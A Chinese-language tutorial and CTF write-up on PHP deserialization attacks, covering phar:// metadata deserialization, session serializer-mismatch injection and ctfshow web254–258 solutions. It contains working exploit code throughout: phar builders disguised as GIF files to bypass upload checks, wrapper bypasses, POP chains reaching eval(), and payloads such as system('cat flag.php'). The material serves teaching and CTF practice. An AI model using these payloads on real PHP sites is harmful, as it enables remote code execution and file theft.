我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。

1
phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。

什么是Phar文件?

在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器。

php中一些常见的流包装器如下:

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

Phar文件的结构

Phar文件主要包含三至四个部分:

1. a stub

stub的基本结构:**xxx<?php xxx;__HALT_COMPILER();?>,**前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

Phar文件中被压缩的文件的一些信息,其中Meta-data部分的信息会以序列化的形式储存,这里就是漏洞利用的关键点

img

3. the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

4. a signature for verifying Phar integrity

签名格式

img

来个小例子

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

img

phar.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下。

img

用winhex打开

img

可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

img

phar_fan.php

1
2
3
4
5
6
7
8
<?php
class TestObject{
function __destruct(){
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>

可以看到成功触发了反序列化

img

格式

1
2
3
4
5
6
7
8
stub:
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
manifest:
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content:
被压缩文件的内容
signature (可空):
签名,放在末尾。

如何生成一个phar文件?下面给出一个参考例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Test();
$o -> data = 'phpinfo();';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

漏洞利用

1
phar文件要能够上传到服务器端。要有可用的魔术方法作为“跳板”。文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

受影响的函数

知道创宇测试后受影响的函数列表:

在这里插入图片描述

实际上不止这些,也可以参考这篇链接,里面有详细说明https://blog.zsxsoft.com/post/38

当然为了阅读方便,这里便把它整理过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//exif
exif_thumbnail
exif_imagetype

//gd
imageloadfont
imagecreatefrom***系列函数

//hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

// file/url
get_meta_tags
get_headers

//standard
getimagesize
getimagesizefromstring

// zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//配合其他协议:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>

// Mysql
//LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
//配置一下mysqld:
//[mysqld]
//local-infile=1
//secure_file_priv=""

<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>

绕过方式

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

img

img

并且,即使将文件名修改掉,用test.php测试发现仍然可以识别为phar,执行wakeup和destrcut。

采用这种方法可以绕过很大一部分上传检测。

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://compress.zlib://等绕过

1
2
3
4
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。

1
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过

1
2
3
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub

生成一个phar.phar,修改后缀名为phar.gif

漏洞验证

环境准备

upload_file.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
upload_file.html 文件上传表单
file_un.php 存在file_exists(),并且存在__destruct()

利用条件

phar文件要能够上传到服务器端。
如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

文件内容

upload_file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
?>

upload_file.html

1
2
3
4
5
6
<body>
<form action="http://localhost/phar/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php

1
2
3
4
5
6
7
8
9
10
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

实现过程

首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码

构造代码

eval.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

访问eval.php,会在当前目录生成phar.phar,然后修改后缀 gif

img

进行上传

img

然后利用file_un.php。

1
payload:filename=phar://upload_file/phar.gif

img

php-session反序列化

session的常用知识

基本概念:

要点:

  • 保存在服务器端
  • 变量: $_SESSION
  • 变量过滤器: filter_input(INPUT_SESSION, key)
  • 设置使用专用函数: setcookie(名称, 值, 过期时间)
  • 生效需要分二步完成: 先下达指令到浏览器,再由浏览器完成 cookie 写入

session基本介绍

由于Http是一种无状态的的协议,只负责请求服务器,当它在服务器相应之后,就与浏览器失去了联系。不能保存用户的个人信息,就像一个商场和一个自动售货机或者普通的人之间的关系,所以为了弥补这个缺点Session才应声而出

session工作原理

1>当一个session第一次被启用时,一个唯一的标识被存储于本地的cookie中。

2>首先使用session_start()函数,PHP从session仓库中加载已经存储的session变量。

3>当执行PHP脚本时,通过使用session_register()函数注册session变量。

4>当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用。

session简单介绍

在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的 Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session存储的方式

1
2
3
4
5
file - 将 Session 保存在 文件 中。
cookie - Session 保存在安全加密的 Cookie 中。
database - Session 保存在关系型数据库中。
memcached / redis - Sessions 保存在其中一个快速且基于缓存的存储系统中。
array - Sessions 保存在 PHP 数组中,不会被持久化。

session 的存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的

php_serialize 经过serialize()函数序列化数组
php 键名+竖线+经过serialize()函数处理的值
php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值

序列化 (Serialization)就是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

1
2
$_SESSION[“user”]=”hgg”
$_SESSION[“pwd”]=”aaaa”

序列话后成为一个字符串
user|s:6:"张三";pwd|s:8:"zhangsan";|分别将键值对隔离

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:

1
2
3
4
5
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:
image-20211215000749542
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

session如何将session存入数据库并使用

首先在Mysql数据库创建存储SESSION的表:
表名为t_session
表结构为
在这里插入图片描述
说明:
session_key:是用来存会话ID的

session_data:是用来存经序列化后的$_SESSION[]里的值;

session_time:是用来存时间戳的,这个时间戳指的是当前session在创建时的 time()+session的有效期。需要注意的是这 里的session_time的类型是int,这样可以在操作数据库时,进行大小比较!

session的存储位置

session的存储位置:一般是存储在/tmp下,当然自己本机的位置可以自己在设置当中进行查看,查看session.save_path

在这里插入图片描述

session存储的默认文件名

sess_PHPSESSID:其中PHPSESSID为当前用户的sessionid值
在这里插入图片描述

PHP Session 基本函数的介绍

1
2
3
4
5
6
7
session_create_id:创建新会话id
session_destroy:销毁一个会话中的全部数据
session_id:获取/设置当前会话 ID
session_name:读取/设置会话名称
session_start:启动新会话或者重用现有会话
session_status:返回当前会话状态
session_unset:释放所有的会话变量

php.ini中一些session配置

1
2
3
4
session.save_path="" --设置session的存储路径
session.save_handler=""–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

1
2
3
4
session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎

利用姿势

session.upload_progress进行文件包含和反序列化渗透

这篇文章说的很详细了,没必要班门弄斧

https://www.freebuf.com/vuls/202819.html

使用不同的引擎来处理session文件

$_SESSION变量直接可控

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

1
$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}
但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

1
2
3
4
array (size=1)
'a:1:{s:6:"spoock";s:24:"' =>
object(__PHP_Incomplete_Class)[1]
public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以**|**作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

$_SESSION变量直接不可控

我们来看高校战疫的一道CTF题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

我们注意到这样一句话ini_set('session.serialize_handler', 'php');,因此不难猜测本身在php.ini当中的设置可能是php_serialize,在查看了phpinfo后得证猜测正确,也知道了这道题的考点

那么我们就进入phpinfo查看一下,enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,就可以将filename的值赋值到session中

在这里插入图片描述

构造文件上传的表单

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="777" />
<input type="file" name="file" />
<input type="submit" />
</form>

接下来构造序列化payload

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public mdzz='print_r(scandir(dirname(__FILE__)));';
}
obj = new OowoO();
echo serialize($obj);
?>

由于采用Burp发包,为防止双引号被转义,在双引号前加上\,除此之外还要加上|

在这个页面随便上传一个文件,然后抓包修改filename的值

在这里插入图片描述

可以看到Here_1s_7he_fl4g_buT_You_Cannot_see.php这个文件,flag肯定在里面,但还有一个问题就是不知道这个路径,路径的问题就需要回到phpinfo页面去查看

在这里插入图片描述

因此我们只需要把payload,当中改为print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));即可获取flag

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
$obj = new OowoO();
echo serialize($obj);
?>

例题1

首先打开题目对主页代码审计
在这里插入图片描述

大概意思是接收两个参数,一个namecontent,之后将content中的内容保存到’/tmp/name’文件中,很容易猜测得到这个文件一定是session.save_path所对应的目录,那么我们很容易便可以知道我们的name参数应该就是sess_PHPSESSID的文件,content中存入的就是序列化对象;

再看这句话,content默认再参数前面拼接了"---mylocalnote---\n,在文件当中他肯定也会被当作序列化的键值对处理,因此我们需要将它的键key补齐;
在这里插入图片描述
因此我们最终可以构造payload

1
content=|HGGLHA;username|s:5:"admin";&name=sess_PHPSESSID

,其中这个sess_PHPSESSID为你本地保存的PHSESSID值,下面教大家如何查看
在这里插入图片描述
因此最终payload得到了

1
content=|N;username|s:5:"admin";&name=sess_4f0q69vckqmtqd46sstnr2uohu

在这里插入图片描述

最终得到了admin的权限,再访问/flag.php,得到flag的回显
在这里插入图片描述

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

us2.php,使用php来处理session

1
2
3
4
5
6
7
8
9
10
11
12
13
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}

function __destruct() {
eval($this->hi);
}
}
?>

当访问s1.php时,提交如下的数据:

1
localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:
class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}

?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class foo3{
public $varr='echo "spoock";';
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

1
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

1
2
3
4
5
<form action="index.php" method="POST" enctype="multipart/form-data"> 
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
那么最终写入的文件名是|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:1:\"1\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:12:\"var_dump(1);\";}}}。注意与本地反序列化不一样的地方是要在最前方加上**|**
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

ctfshow

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

这个和反序列化没啥关系

1
username=xxxxxx&password=xxxxxx

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

主要就是说$isVip=True,并且序列化的值要以$cookie的形式传入

首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象),之后checkVip要求是true,之后执行vipOneKeyGetFlag获取flag

1
2
3
4
5
6
<?php
class ctfShowUser{
public $isVip = TRUE;
}
echo urlencode(serialize(new ctfShowUser));
?>

还有一点

注意在cookie字段当中需要url编码一波(其名称以及存储的字符串值是必须经过URL编码的)

image-20211116111808298

image-20211116111453592

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

逻辑上和刚刚一样,只不过多了一个比较就是$username和$password的值不能相等。那就在序列化前吧账户或密码任意改一个,或者两个都改了

image-20211116113049379

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

审一下审一下

eval肯定是要用它去拿flag,调用eval就要调用getinfo(),只有__destruct中去调用了,但是__construct实例化的是info(),我们需要调用的是backDoor里的。

思路就有了:

$this->class=new backDoor();就成了,因为之后反序列化结束后,会执行__destruct(),此时eval($this->code);等价于eval(system('cat flag.php');)

注意:

由于配上private有特殊不可见字符不想手动处理所以进行url编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class ctfShowUser{
public function __construct(){
$this -> class= new backDoor();
}
public function __destruct(){
$this ->class -> get_info();
}
}
class backDoor{
private $code = "system('cat flag.php');";
public function get_info(){
eval($this -> code);
}
}

echo urlencode(serialize(new ctfShowUser));
?>

image-20211116122154579

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//error_reporting(0);
class ctfShowUser{
public $class = 'backDoor';
}


class backDoor{
public $code="system('cat flag.php');";
public function getInfo(){
eval($this->code);
}
}

$a = new backDoor();
$b = new ctfShowUser();
$b->class=$a;
echo urlencode(serialize($b));

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

绕过preg_match(’/[oc]:\d+:/i’, $var),使用➕

这道题我用数组没绕过去

1
